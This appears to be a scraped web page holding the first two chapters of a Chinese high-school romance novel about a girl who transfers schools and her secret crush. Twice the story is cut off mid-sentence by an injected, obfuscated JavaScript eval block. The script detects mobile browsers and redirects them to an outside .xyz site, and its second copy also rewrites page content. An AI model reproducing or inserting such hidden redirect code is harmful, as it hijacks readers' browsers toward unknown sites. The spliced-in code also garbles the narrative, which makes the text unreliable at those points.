《不及冬》 1. 第 1 章 云亭县向来四季不分明,只拥有短暂到可以忽略不计的冬天和长久的夏季,三月中旬的傍晚,已如同盛夏。 温热的晚风拂过,林桑顾不上额头沁出的薄汗,眼睛一瞬不眨地盯着柜台上的中药袋,单方面和中药袋进行了将近半个小时的对峙。 逃一次,应该也没什么的。 就这样,她带着侥幸心理准备把中药袋扔进书包。 下一秒,手却空了。 中药袋被一只白皙的手抽离。 林桑抬头,那只手的主人用一把迷你小剪刀给药袋剪了个口,随后十分贴心地捏着药袋口递给她说:“喝吧,不用谢。” 林桑:“……” 见她不接,柳靳于手往前,直接把药袋口凑到她嘴边,吓唬她道:“这玩意可容易洒出来,你再不接,我一放手你可就……” 许是被他给刺激的,林桑一把抢过他手里的药袋,仰头一口气将药全部吞了下去。 一股怪异的苦味以迅雷不及掩耳之势充斥整个口腔,林桑感觉她所有面部神经都在抽搐。 “厉害啊,”柳靳于笑着打趣她,“不是说做了快一个多小时心里建设都喝不下去么。” 林桑说不出话,狰狞着脸用手比划半天。 柳靳于走到货架前给她拿了一瓶水拧开递过去:“喝口水缓缓再说。” 林桑从小就怕吃药,不知道是不是心理作用,半瓶水下肚,她还是觉得苦。 她从兜里摸出事先准备好的糖剥开塞进嘴里,糖衣化开后嘴里总算有了一丝丝甜味。 “药打开了明天就喝不了,我真是谢谢你。”林桑面无表情地说。 像是听不懂好赖话,柳靳于笑得没皮没脸地接话道:“不客气呢。” 林桑嚼着嘴里的糖,不想搭理他。 柳靳于用脚勾过一旁的椅子坐下说:“问你个事。” “什么?”林桑偏过头看他。 “你真要转学啊?” 林桑言简意赅:“转。” 明知答案柳靳于还是不死心地追问:“没有回旋的余地了?” “没有,”林桑摇着头说,“我妈已经找人给我办转学手续了,我说了不转也没事,她不同意。” 柳靳于叹了口气,顿了顿:“身体重要,你这情况还是转了好,就是挺可惜的,以后都不能跟你一起讨论题了。” “我只是去一中,”林桑一脸无语地抬手指着远处在交错的高楼间露出一角的教学楼说,“又不是离开云亭,周末讨论不就行了。” 柳靳于支着脑袋,懒懒地点了一下头,拖着腔道:“知道。” “不过话说回来,你去了一中可得好好喝药,再像今天这样可就真得离开云亭了。” “放心吧,”林桑说,“你忘了,我哥在一中呢,我要是不喝药,他能直接灌我嘴里。” 柳靳于“嗯”了一声,瞥了眼她书包里的药,把手里的迷你剪刀递给她:“这个带好,别到时候打不开。” 林桑接过,塞到书包夹层里:“谢了。” 柳靳于挑了下眉:“跟我还客气。” …… 两人待了没一会儿,何爷爷回来了。 林桑和何爷爷是只隔了一堵墙的邻居,她算是何爷爷看着长大的,两人跟亲爷孙似的,也因此,这个副食店何爷爷全权交给了她,只隔三差五才会过来一趟。 副食店里一直没什么人,但货架上的东西少了不少,全是被柳靳于给霍霍的。 收银台上堆满了拆出来的零食袋子。 何爷爷进来的时候柳靳于到最里面的货架搜刮新品了,收银台前坐着的只有林桑,但他只扫了一眼便知道是谁的杰作。 何爷爷凑过来,小声问:“饿死鬼投胎的又来了,人跑哪了?” 林桑也学着他凑过去,压低声音回:“里面找东西呢。” 何爷爷背着手,探头朝里望了望,用更小的音量道:“别说话,我去吓吓他。” 林桑默不作声地趴在柜台上,看着何爷爷一步一步靠近里面的货架,内心开始倒数。 果然,不出三秒,柳靳于从货架后冒出来,想吓人的成了被吓的那个。 何爷爷后退半步,笑骂:“臭小子!” 柳靳于没个正形地将手搭在何爷爷肩上,嘿嘿笑了两声。 一个年过半百,一个接近成年,这种把戏偏偏怎么都玩不够。 何爷爷装模作样地多责怪了两句,把人带休息室下棋去了,林桑收回视线,将柜台上的垃圾都收进垃圾桶。 何爷爷棋友没时间的时候,都是她陪何爷爷下棋,但她对下棋不感兴趣,哪怕学了几年,技术也丝毫没有长进,何爷爷每次都觉得不尽兴。 直到有次她给柳靳于讲完题后落了试卷在他那,他送过来的时候正巧碰上林桑陪何爷爷下棋。 柳靳于在一旁指导她,一局结束,何爷爷大手一挥放她走了,拉着柳靳于陪他下。 何爷爷是个十足的棋迷,一天到晚也没什么事干,能在巷口那颗老槐树下跟人一下就是一天。 柳靳于这人欠归欠,耐心却十足。 那天他陪何爷爷下了三个多小时,林桑都看累了也没听见他说一句累。 那之后,柳靳于就代替她成了何爷爷的备用棋友。 何爷爷当晚还放下话,只要他来了,店里东西随便拿,柳靳于倒也不客气,每次把喜欢吃的吃个遍,又把店里新进的货也试个遍。 只是何爷爷不知道,柳靳于每次都算好了账,趁他们不在就把钱放到钱箱里。 这事还是林桑有次去仓库拿货让柳靳于看店,发现围裙忘拿折返的时候看见的,柳靳于不说,她也就当不知道。 要不然,以何爷爷那种最讨厌别人跟他瞎客气的性格,知道了得翻天。 休息室内棋局已经开始,一时半会儿是结束不了了,林桑将柜台整理好后,从书包里翻出一本书做起了题。 …… 等何爷爷放人已经是两个小时以后,林桑这两天不是往医院跑就是准备转学,一直没去学校,这时才后知后觉今天是周一。 她抬头看了眼墙上的老式钟表。 八点半。 云亭附中五点半放学,六点半上完一节小自习后才开始正式上两节大自习,但他们珍珠班的作息和平行班不同,六点自习便已开始不说,这个点,快要抽查每日学习任务完成情况了。 林桑在心里为柳靳于默哀两秒,见他过来,她指着墙上的钟表说:“柳靳于,你完了。” 谁知柳靳于眼都没抬,弯腰把垃圾提出来打上结:“走,烧烤,哥请。” “不是,你……” 她话没说完,柳靳于已经迈步走了:“跟上啊。” 当事人这么无所谓,林桑也没再说什么,边把书包拉链拉上边跟何爷爷打招呼。 柳靳于个高腿长,她不过耽搁一分钟,他已经走出去老远。 林桑一路小跑着追上,柳靳于顺手卸下她肩上的书包,颠了颠,有些惊讶:“这是开了多少药?” “好大一包呢。”林桑比划着说,“吃完说不定还得去。” “所以啊,不想再去就按时吃药。” “听到没?” “……” 他絮絮叨叨说个不停。 “哎呦,知道了知道了,”林桑捂着耳朵往前跑,“你现在跟巷口那群奶奶一样唠叨。” 她埋着头一直往前跑,在临近路口时,一双黑白撞色的球鞋蓦地闯入她的视线。 林桑脚步一顿,像是被人定住,她缓缓抬起眼,一个熟悉却又带了几分陌生的身影完整地出现在视野里。 少年一身蓝白色校服,红色书包随意挂在右肩上,站在路边低头回着消息。 过去校服T恤肩线下塌的他如今已经能将肩线撑得圆满,身形也越发挺拔。 和印象中像,又不太像。 她真的。 太久没见他了。 林桑一颗心雀跃不已,耳边嘈杂的车流声和交谈声都被心跳替代。 男生停留在路口没往前也没转弯,一直低头捣鼓着手机,像是在等人。 他等。 她也跟着等。 只是……这个点一中应该也在上晚自习才对,他怎么会出现在这里呢。 林桑失神片刻,眼前的画面因为视线失焦而变得有些模糊,她晃了晃脑袋,再去细看那道身影时,只见一个留着及腰长发的女生脚步轻快地跳到男生身边。 她看着女生嘴里说着什么把手里的校服外套搭在男生左肩上,然后从手腕上挂着的纸袋里取出一杯奶茶戳开递过去,男生自然地接过,低头喝了一口后偏头笑着和女生说了什么。 随后,一高一低的两道身影一起消失在路口拐角。 林桑呆愣地盯着前方,那颗雀跃的心像是蹦进了冰窟,寒气顷刻间侵占了她的身体。 她像一具人形冰雕一动不动地站在原地,柳靳于站在她身后,疑惑地学着她的姿势往前看,除了行人和时不时飞驰而过的车也没什么特别的。 他屈指在林桑头顶轻轻敲了一下,笑道:“怎么,前面有黑白双煞索你魂啊?” 林桑缓过神,捂着头“嘶”了一声,心不在焉地说:“还不是你太慢,等等你。” “行,一会儿可别让我等你。” 柳靳于说完,还真不等她,自己往前走了。 林桑走到路口,下意识往拐角看了过去,青石板路上路灯明亮,只有两个蹦蹦跳跳的小孩,她落寞地收回眼,抬脚追上柳靳于。 …… 云亭出了名好吃的烧烤店一共三家,都在一条街上,一到下午六点开始营业就一座难求,临时决定过来,没提前打电话订座,别说坐下吃了,打包带走都不知道要等多久。 两人站在路边,柳靳于不爽地“啧”了一声:“要不今晚凑合凑合,去别家试试,改天我提前订。” 林桑点头:“走吧,再犹豫一口都吃不上。” “那你挑个店。” “万一难吃怎么办?” “忍着吃呗。”柳靳于无所谓地耸耸肩。 林桑扫了一圈,纠结半晌,最后闭眼随手指了一家。 这家店看上去比其他家小了不少,烧烤卖得不怎么样,米线和炒饵丝倒是一直有人打包。 柳靳于拿了两串鸡脚放进盘里后就闻着味往点菜窗口跑:“姐,给我来份炒饵丝。” 说完还不忘回头问林桑:“你要不要?” 林桑五点多才吃过晚饭,不太饿,摆摆手说:“不要。” 柳靳于“哦”了一声。 他话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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回想起路口那一幕,林桑下意识摸了摸自己的头发,如果不是学校要求,她的头发,应该也很长了。 思及此,内心竟有了几分怅然,她无声地叹了口气,撇撇嘴小声说:“就知道你不靠谱。” “不信还问我,”柳靳于拎起茶壶给她倒水,“我还不信你是因为看个剧就一直执着这个问题呢。” “不信就算。”林桑转移话题道,“你今天逃课,明天真没事?” “老李那脾气我敢逃课么。” “请假了?你这活蹦乱跳的,他不可能批啊。” 老李是他们班主任,年近五十,思想极其古板,平时没少折磨他们,面对请假这种事,即使是很严重的感冒,撑死批两个小时假,美其名曰为了锻炼他们。 谈到这个,柳靳于烧烤也没心情吃了,他把手里的串丢进盘里说:“我去找他说我想转学,给我请个假我回家找家里人商量。” “他问我什么原因,我说每天高强度变态学习,第一周我就想跑,熬了一个多学期,真熬不了,身体快废了。” “你猜他怎么说的?” 林桑咳了一声,压着嗓子学了老李的经典名句:“年纪轻轻的,先苦后甜都不懂,以后怎么成大事。” “比这狠。”柳靳于拉着脸说,“他问我你也月经不调?” 林桑:“……” 林桑抬手制止他:“停,就此打住,我不想听。” 柳靳于哪能如她的愿,他还想继续,桌上的手机响了起来。 柳靳于拿起手机,嬉皮笑脸地接通:“喂,妈。” 不知道那头说了什么,柳靳于笑容僵在脸上,一秒收了吊儿郎当的样,乖得不行:“领导放心,保证在您说的时间准时到家。” 电话挂断后,柳靳于如释重负地长吁了一口气。 林桑:“怎么了?” “刚没说完,老李说我挑衅他,让我回家反省完后找家长给他打电话,我给忘了。” “估计他先把电话打我妈那去了。” 柳靳于起身去结账,结完回来拿上林桑的书包说:“我先送你去公交站。” “别了,你快回去吧,不然一会儿晚了可就惨了。” “下午出门前外公让我晚上回去给他带份吃的,我现在点还得好久呢。” 林桑外公有个习惯,不管晚饭吃得早还是吃得晚,睡前都得再吃一顿。 这个习惯柳靳于知道,他把书包递给林桑:“行吧,那你注意安全,到家记得说一声。” “好。” 柳靳于走后,林桑点了一份炒饵丝就往公交站赶。 在经过一个巷口时,林桑急速迈出的步伐被里面传出的模糊男声和女生娇俏的笑声吸引住。 林桑也不知道自己为什么会停下来。 她定定地站在原地,指尖无意识攥紧,梗着脖子往黑暗逼仄的巷道看去,楼上适时亮起一盏灯,莹白的光透过窗帘散落下来。 好巧不巧,正好打在并排靠在墙上的眷侣身上。 距离不算太远,街道也足够安静,女生清甜的声音在巷道响起。 林桑清晰地听到女生期待地问:“对我的事这么上心,是喜欢我吧?” 2. 第 2 章 林桑自知偷听别人说话是件不道德的事,偏偏双腿似是灌了铅,怎么都抬不动。 林桑内心挣扎,期待他回复,又怕他回复。 时间一分一秒过去,林桑心跳如擂鼓,用力握紧的手心已经完全湿透。 片刻后,在她耳边响起的不是男生的答案,而是一阵叫骂声和杂乱的脚步声。 林桑还没来得及看清,一道模糊的身影直冲而来。 她避无可避,整个人被撞得在原地打转,手里的炒饵丝失去庇护,当下飞到马路中央,被疾驰而过的车碾得稀碎。 林桑看着这一幕,瞳仁一点点放大,预感下一个被碾的就是自己,她踉跄两步试图去抓路边的香樟树挽救。 指尖从粗粝的树皮上划过的那一瞬,林桑心凉了一截,认命地闭上眼。 电光火石间,手腕被人握住,紧接着林桑撞上一道坚硬的胸膛,鼻头的痛意冲上头,硬生生疼出生理泪水。 她捂着鼻子抬头,对上一双含笑的瑞凤眼。 男生睫毛如鸦羽,漆黑明亮的眸子藏在底下,眉宇间尽是温柔。 林桑怔愣片刻,急忙退出来:“谢……谢谢。” 对方垂下眼,唇角带着浅浅笑意:“不用。” 少年早已熬过了变声期的尴尬,清冽的嗓音和林桑记忆中的完全相反。 他的声音林桑虽只听过几次,却印象深刻。 那时候他还处于变声期,嗓音略微粗哑,不似现在,如同副食店里的冰镇酸角汁一般沁人心脾。 短短两字将她耳根烧得极烫,林桑局促地低头盯着鞋尖,喉头像是被人堵住,一时间发不出任何声音。 在她愣神之际,巷道里的女生走出来了,身后还跟了个骂骂咧咧的男生:“你大爷的,沈听原你今天弱鬼上身吧,那么个瘦猴都抓……” 后面的话在看见林桑时戛然而止,他挠了挠后脑勺,和女生对视一眼,两人探究的目光在林桑和沈听原身上不停梭巡。 沈听原接收到他们的视线,瞥了眼林桑,淡声解释:“她被瘦猴撞了,拉了一把就没顾上。” “这样啊。”男生点点头,脸上带着歉意,“妹妹你没事吧,要不我们送你回家?” 不知道他这番话哪里戳中了沈听原的笑点,听到他若有似无地笑了一声,林桑连忙摆摆手:“不用不用,刚刚谢谢了。” 林桑说完深深鞠了个躬,转身就跑了,连那道熟悉的声音说了都没来得及听清。 随后身后便传来男生的喊声,“哎,那你吃的我总得赔啊,我带你重新买一份,很快的!” 林桑只模模糊糊听了一半就回道:“不用了!” …… 游书涧看着林桑慌乱的模样有些茫然,不过转念一想,女生看上去文文静静的,许是把他们当成什么不良少年了。 他左手搭上沈听原的肩,吊儿郎当道:“你说咱们就这么像恶霸啊,把人妹妹给吓得撒腿就跑。” 沈听原看着前方在路口飞速闪过的身影,右手虚握两下,眸光闪了闪,裹挟着不明的情绪。 他没回答,抬了下肩将游书涧的手顶开,插着兜自顾自往前走:“别瞎叫。” 这话没头没尾,游书涧摸不着头脑,他疑惑地看向一旁不知在思考什么的杨思怡:“什么别瞎叫?” 杨思怡微微皱了下眉,无声叹了口气:“你真的是……” “什么?” “八百辈子开不了窍!” 她气到要跳脚,为了维持形象,不想过多解释,径直跟上沈听原。 游书涧独自在原地莫名两秒后,也跟上。 沈听原走了一会儿,想起什么,他脚步一顿,紧跟在他身后的游书涧脚步一错,差点摔个狗啃屎,气得一拳锤他后背上骂道:“你他妈抽什么风!” 那一拳至少使了十二分的力,后背隐隐作痛,沈听原无暇顾及,他拎起衣领闻了又闻,回过头问:“我身上有烟味吗?” 游书涧正懒懒地靠在墙上点烟,闻言抬头,一脸“你是傻逼吗”的表情,无语地翻了个白眼:“大哥,网吧那烟飘得跟进了天庭一样,你不抽也有。” 沈听原把目光移向杨思怡,杨思怡见状笑了一下说:“他平时说话确实可信度不高,不过这次可没说错,真的有。” 游书涧烟也不抽了,叉着腰控诉:“毫无信任,咱两断绝关系吧!” 沈听原:“……” 杨思怡:“……” 沈听原下意识摸了摸被撞到的地方,他闭眼啧了一声,烦躁地抓了两把头发: “走了。” …… 林桑下了公交后就一路狂奔,快到家时发现家里亮着灯,她站在门外缓了一会儿,将砰砰跳个不停的心安抚好才进屋。 “外公,还没睡呢?” “这不是等你,”外公靠在躺椅上假寐,“何老头又缠着你陪他下棋了?” “没有,”林桑说,“柳靳于过来了,他俩一起下的。” 外公“哦”了一声:“去吃好吃的了吧,我的呢?” “我本来给你打包了一份炒饵丝的。” 外公眼都没睁一下问她:“东西呢,你在巷口喂狗啦?” “出车祸了,”林桑说,“很惨烈,都被碾成泥了。” 外公哼了一声说:“年纪轻轻,还学会骗人了。” “我什么时候骗过你嘛,我被人给撞了一下,没抓住就飞出去了。” “差点我也跟它一个下场,”林桑心有余悸地拍着胸口,“还好路边有人把我给救了。” 她这话把外公吓得够呛,立马腾地起身检查她脸上手上有没有伤。 “没伤到吧?” 林桑嘿嘿笑着说:“要是伤到了我还能站这啊。” “净会说瞎话。” 外公还是不放心:“不行,我带你上老张那看看。” 老张是巷口的神医,也不知道是谁给封的,整天摆一桌子药酒守在巷口,见谁都要说人身上有点毛病,巷子里的人都还挺受用。 林桑想起被他泡在大玻璃罐里的蛇啊,蝎子啊,蜈蚣什么的,笑容僵在脸上,头摇得像拨浪鼓:“放心,没事,绝对没事!” “不行,还是得去看看。”外公坚持。 林桑当即蹦跶几下证明自己真没事:“你看,生龙活虎着呢,不用。” “没事就行,明天要是难受记得说,别憋着。”外公说。 林桑一字一句回:“知道啦。” 以前生病的时候外公从老张那抓了不少药给她,每次都很管用,她不肯去倒也不是信不过老张的医术,一方面是她只有鼻头撞了一下隐隐有些痛意,一方面是这大晚上的,见了老张泡的那些玩意。 她今晚就不用睡觉了。 见外公不再执着,林桑暗自松了口气往厨房走。 “我去给你煮碗面。” 外公起身打着哈欠回屋:“吃过了,哪还等得了你。” “早点睡。” …… 洗漱完出来,林桑想起还没和柳靳于说她已经到家了,她从书包里翻出手机发了条消息过去,那边迟迟没有回复。 等了一会儿对话框还是没动静,林桑退出来,瞥见动态栏有个红点,习惯性点了一下。 十五六岁的年纪,分享欲总是很旺盛,有人一天能发二三十条动态,林桑划了一会儿,指尖在看到那个熟悉的蓝色头像时停住。 动态是十分钟前发布的,已经有不少点赞和评论。 【Banana:出门上网,给大家表演一个“出淤泥而全染”。】 配图看上去像是在网吧拍的,一大半都是天花板,有几缕烟飘在空中。 林桑点了个赞,躺到床上慢慢滑动屏幕看着评论。 好像是有人在故意搞怪,前面的评论都差不多,在前一条评论的基础上改两三个字跟上整蛊步伐。 比如“沈大帅哥不干净了”、“沈大帅哥不清白了”之类的,沈听原都没回复。 直到林桑将评论滑到底的时候,总算看到一条稍微正经那么一点的评论: 【XXX:装什么文化人,你这字凑一块我咋看不懂?】 下面紧跟着动态主人的回复: 【Banana:网吧这烟飘得跟进了神仙窝似的,我一个不抽烟的人在里面不就是出淤泥全染么。】 林桑被他的回复逗得笑出声。 她回想了一番,只有撞上沈听原时的疼痛和发现是他时的紧张还格外清晰,至于他身上是什么味道,她已经无从记起。 林桑上下滑动着屏幕把这条动态看了几遍,截了个图打开相册把图片移到私密相册,而后将手机息屏放在腹部,脑子里再次浮现出晚上在巷道里看到的那一幕。 她没怎么看清女生的长相,只大致记住了一个轮廓,但有的人就是完美到一个模糊的形态就能让人联想到她姣好的面容和优越的气质。 他们光是站在一起就很般配,林桑心底泛起一丝苦楚。 时隔半年多再次相逢,她站在远处,遥遥望着他的身影。 他只出现一瞬,便在她心底掀起一场海啸。 这场海啸来势凶猛,将镇压她心底万千情绪的宝塔击垮,雀跃紧张和酸涩难言争先恐后地涌了出来,在发紧的心脏里无限交织,而那个引起这一切的少年,却永远无法知晓。 暗恋,像是一杯半糖柠檬水,时而酸,时而甜,独自回味,又觉只剩满腔甜意。 她不敢想如果没有那场意外,沈听原的答案会是什么。 脑子里乱成一锅粥,林桑盯着天花板,只觉胸腔里堵了一口气,不停地持续蔓延。 她重新打开手机,熟练地点开置顶那个蓝色头像。 聊天记录停留在2016年2月7日。 原来距离上一次聊天,已经过去一个多月。 元旦那天Q/Q一直弹出让她群发去送节日祝福的消息,都被她忽略。 直到晚上回复完收到的群发祝福后,她才像往常那样,忐忑地打着群发的名义给对方发了一条,对方很快就回了同乐。 2月7号那天除夕,她一早便开始酝酿,祝福却是傍晚时分才发出去的,回复依旧只有同乐两字,却让她开心了整整一周。 这些节日对于暗恋的人来说,像是未搅匀的咖啡中突如其来的一丝甜。 寥寥无几的聊天记录让她胸腔里堵着的气疏散不少,林桑总算好受一些。 巷子里传来狗吠,时不时有脚步声和交谈声透过墙面钻进她耳朵里,不知不觉,困意涌上心头。 柳靳于还是没回复,林桑也没再等,关了手机进入睡梦中。 * 隔天一早,林桑背完单词就接到了刘乔千的电话。 “金金啊,起了没?” “起了呀。” “转学手续办完了,妈妈这边走不开,找了人过来接你去学校,到新学校不要有压力,知不知道?。 “不然我可就把你转到东城每天盯着你。” “放心吧妈妈,我有分寸的。”林桑乖巧道。 “那先这样,一会儿还有个会,等有空了再聊,妈妈先挂了。” “知道啦,你也要注意休息啊,按时吃饭,不然我也天天监督你。” 刘乔千笑着应:“知道,我倒是巴不得你天天监督我。” 电话挂断后,林桑本想关了手机再把单词粗略过一遍,Q/Q叮咚一声弹出条消息。 【柳靳于:昨晚被我妈拎去学校了,好在有惊无险。】 【柳靳于:对了,告诉你个好消息,不出意外我也能转学。】 【柳靳于:当然,出意外也能转。】 林桑刚要打字回复他那边又问什么时候去学校报道。 【Bob:没事就行。估计下午就能去。】 【柳靳于:行,注意安全,我先下了,得去学校。】 【Bob:好。】 …… 接林桑去学校报道的是刘乔千的一个朋友,林桑见过几次,对方带她到学校和老师聊了几句后工作上临时有事,帮她把行李提到宿舍就离开了。 办公室里只剩下林桑和新班主任陈雪。 陈雪年近四十,笑起来很和蔼,说话也很温柔,和老李完全相反。 了解完林桑在附中的学习情况后,陈雪又体贴地问起她的身体状况:“要不要先休息两天再过来上课?” 促使刘乔千给她转学的最大因素便是她的身体,陈雪知道倒也正常,林桑摇了摇头说:“不用了老师,我已经休息两天了,再休息怕落了课程。” “而且,”林桑有些不好意思地挠了挠后颈,“我这毛病光靠休息好像也没用。” 陈雪被她逗笑:“那就行,这个问题吧,你也不用担心,好好吃药,适当释放压力,作息调回来就正常了。” “那我先带你去买套校服,下午有领导来,你不穿校服不行。” 林桑点点头,“好的,麻烦老师了。” 陈雪笑着起身,“走吧。” 买校服的地方是学校小卖部,从办公室出来走三分钟就到。 林桑买完后,陈雪本是要陪她回宿舍换的,但陈雪一会儿有课赶时间,只能带她去教学楼卫生间换。 校服一共有两套,一套是制服款式,另外一套则是运动服款式。 陈雪说除了学校组织大型活动的时候会统一穿哪套,其他时候没有特定要求,想穿哪一套全看个人喜好。 林桑在附中时的校服是运动款的,习惯了穿这个,也没纠结。 她换好衣服出来,陈雪看了眼时间说:“刚上课没多久,我先带你去教室,今天就先不自我介绍,等改天我挑个时间再说。” “或者你到时候问问同桌,班上同学都很好相处,不到一周你应该就能熟悉。” 林桑抻了抻宽大的校服外套应道:“好的,谢谢老师。” 教室在二楼,两人停在门口,陈雪敲了下门:“郭老师,打扰一下,我带个新同学过来。” 郭老师正用含方言率百分之九十的普通话声情并茂地念着诗句,闻言偏过头,顿了一下笑道:“好好好,进来吧。” 陈雪安抚地拍了拍林桑的肩膀,指着靠门边第二排的空位说:“你先坐那。” 空位边的女生激动不已,手拍了拍旁边示意林桑快过来坐。 林桑坐下后,陈雪和郭老师打了个招呼就离开了。 班上突然多了个新同学,不少人都好奇地往林桑这个方向看,教室里有了小小的躁动。 郭老师敲了敲黑板说:“有什么好奇的下课后交流,那个,方倚霏,和新同学说一下讲到哪了。” “都给我集中注意力上课,谁再交头接耳出去罚站!” 郭老师话音一落,教室里顷刻间便安静到落针可闻。 开始上课后林桑发现郭老师讲的内容她在附中的时候已经上过,还以为休息了两天会落下课程,现在吃了定心丸,她很快便进入课堂中。 下课后,同桌兴冲冲地凑过来说:“我叫方倚霏,你呢?” 她说着,怕林桑不知道是哪几个字,还翻开课本让林桑看。 林桑也把课本打开推过去,方倚霏“我靠”了一声,惹得前面两个女生都转过身来。 “鬼喊什么呢你?” 方倚霏指了指林桑的课本,坐在林桑前面的女生看了一眼:“妈耶,你从珍珠班转过来的啊?” 坐在方倚霏前面的女生双手捧着下巴看她:“珍珠班是不是特别难熬啊,我看你气色都不太好。” 林桑合上课本,尴尬地笑了笑:“很明显吗?” “有点。”女生说。 方倚霏接话道:“还真是,你这幸亏转得早,我可听说到了高二高三更恐怖。” “也还好,”林桑说,“那些制度也就听着恐怖,真到了那个时候你就会发现更恐怖。” “哈哈哈,你还怪幽默的,我还以为你会是那种文静不谙世事的。” 林桑笑:“谬赞啊,我真的一点边都沾不上。” “不提这些,那啥,”坐在林桑前面的女生说,“介绍一下,我叫鲁琳,你刚来还不熟,有什么想问的就找我。” “适珈蓝。”另一个女生冲她眨眨眼说,“可别跟我们客气啊。” 林桑:“好。” 几人聊得十分投入,一直到临近上课,鲁琳和适珈蓝都转回座位找课本才停下来,林桑收回视线,意外注意到窗外栏杆边靠着的男生。 想过会在一中碰见他,但没想过会这么快,更没想过—— 会和他成为同班同学。 林桑莫名有些紧张,她借着和方倚霏说话往男生的方向多看了几秒。 阳光透过教学楼前的小叶榕洋洋散散盖在他身上,他皮肤很白,整个人像是在发光,不知道旁人说了什么,他笑了一下,左边脸颊出现一个很深的酒窝。 听说酒窝都是按对长的。 因此林桑一直很好奇,怎么会有人只有一个酒窝。 清脆的上课铃声响起,林桑匆忙垂下眼看书,用余光看着那双蓝白撞色球鞋踩过淡黄色地砖,又跨上讲台,随后被讲桌给遮挡。 梦境中都未曾出现过的事变成了现实,林桑说不上来是什么感受。 只知道,此时的心情—— 用世间所有表达开心和欣喜的词来形容都不够。 * 下午一共四节课,一眨眼的功夫就过完了。 吃完饭回到教室 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14780571|157949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后,沈听原照旧站在那个位置,嘴里叼了根棒棒糖,低着头不知道在想什么。 一个下午,林桑便发现他下了课就喜欢往外面跑,也不知道为什么,每次都待在同一个位置。 林桑一边听着方倚霏她们聊八卦,一边悄悄借着和她们说话往那个方向偷瞄。 视线忽地被人挡住,有人站在窗边:“适珈蓝,英语老师让你去办公室取作业。” “哦,好。” 适珈蓝和鲁琳离开后,没了能替她打掩护的人,林桑也不敢再往外看。 瞥见笔袋里的校园卡,想起校园卡上的照片还没贴,她弯腰在书包夹层里开始翻找从附中校园卡上抠下来的蓝底照。 有人进来,许是不小心撞到了,桌子晃了一下,她没在意,翻出照片问方倚霏:“你有没有双面胶或者胶水什么的?” 方倚霏摇摇头:“没有诶,平时用不上就没买。” “怎么了?” “校园卡上的蓝底照得贴一下。” 方倚霏闻言“咦”了一声:“这个不是学校直接给印在校园卡上的吗,你的怎么没印?” 林桑:“等拍完照再印上不知道要多久,可能为了省事吧。” 方倚霏后知后觉反应过来,吐槽道:“你这校园卡连个壳都没有,就一张破纸片,咱们学校真是一如既往的抠搜。” 在办公室里从陈雪手中接过校园卡的时候,林桑的想法和她是一致的。 附中和一中的校园卡其实差不多,都是一张长方形的纸质卡片,半个手掌的大小,只不过附中的是横着的,而一中的是竖着的,发下来的时候是带个壳和绳的。 到了她这,竟只有薄薄的一张卡片,属实是出乎意料。 林桑无奈地叹了口气:“小卖部里能买到这个壳吗?” “买不到。”方倚霏说,“得去外面。” 林桑下巴抵在桌沿:“那只能凑合用了。” 她说完,方倚霏若有所思,猛地两手一拍。 突如其来的清脆响声把林桑吓了一跳。 方倚霏不好意思地“嘿嘿”笑了两声说:“我就是突然想起来我那好像有个壳应该能用,你晚上记得把校园卡带上,回寝室了我给你找找看。” 林桑:“好,谢谢。” …… 小自习铃声打响,值周的老师已经开始在每个班级巡逻,教室里很快静下来,所有人都拿出老师留的课后作业开始做。 一节小自习也就半个小时的时间,铃声响起,林桑放下笔活动了下手腕,有人在她耳边打了个生脆的响指。 林桑偏过头,看清来人,她眼睛一亮:“我都没注意你跟我一个班。” 李宇栖人靠在桌子上,手往后撑说:“看你跟她们聊挺开心就没上来找你。” 他下巴冲后排点了一下:“我坐最后边呢,你不细看发现不了。” 他话音一落,手一抬,随意地往林桑桌上扔了一个东西。 林桑视线追随着那个一闪而过的白影,终于在它平稳落在练习本上时看清。 是一卷双面胶。 “你怎么知道我要用这个的?” “掐指一算。”李宇栖笑得恣意。 林桑想起被撞的桌角,猜到了,还是配合着冲他竖起大拇指:“李半仙又重出江湖了。” 她和李宇栖初中同班三年,一直都是前后桌,经常一起讨论题,关系还不错。 那时候李宇栖总喜欢算这算那,班上同学也不管对不对,都喜欢找他算,反正听着也就图一乐,久而久之李宇栖就有了“李半仙”这个名号。 林桑拿起双面胶找到口后撕了一截下来:“那我就不客气了啊,半仙。” 李宇栖还保持着原来的动作,视线漫不经心从窗外移到林桑身上,唇角勾着,大方得不行:“敞开用,用完都行。” 贴好后,林桑把双面胶还给李宇栖,她用来固定刘海的夹子不知道什么时候滑了下来,挂在眼前不上不下。 李宇栖没接双面胶,而是先她一步抬手帮她把夹子取了下来,动作自然无比。 林桑从他手里接过夹子重新把刘海弄好,自然没注意到窗外迸射进来一道温度堪比火山熔岩的视线。 林桑道完谢把双面胶重新递给他,李宇栖笑了一下,直起身接过双面胶回了座位,临走前还让林桑别忘了跟以前一样找他一起讨论问题。 过去他们关系再好也不会产生近距离的肢体接触,林桑越想越别扭,她把夹子拆下来打算重新弄一遍刘海,手刚抬起来,有道身影在她眼前一晃而过。 前门“哐当”一声砸在墙上,弹回时被一只骨节分明的手拍了回去,巨大的响声在教室里回荡。 她手一抖,夹子顺势落到地上。 班上不少人都被这猝不及防的巨响吓了一跳。 有人拍了拍胸口,心有余悸道:“我去,沈听原你要吓死谁。” “我魂都飞五楼去了。” “赶紧回家抱个大公鸡回来给咱班里人都叫个魂哈。”有人打趣。 沈听原弓着身,左手撑在门上,偏过头做了个挥拳的动作:“抱个屁啊,我绊这一下差点见我太爷爷去了。” 一句话,惹得教室里的人都哈哈大笑。 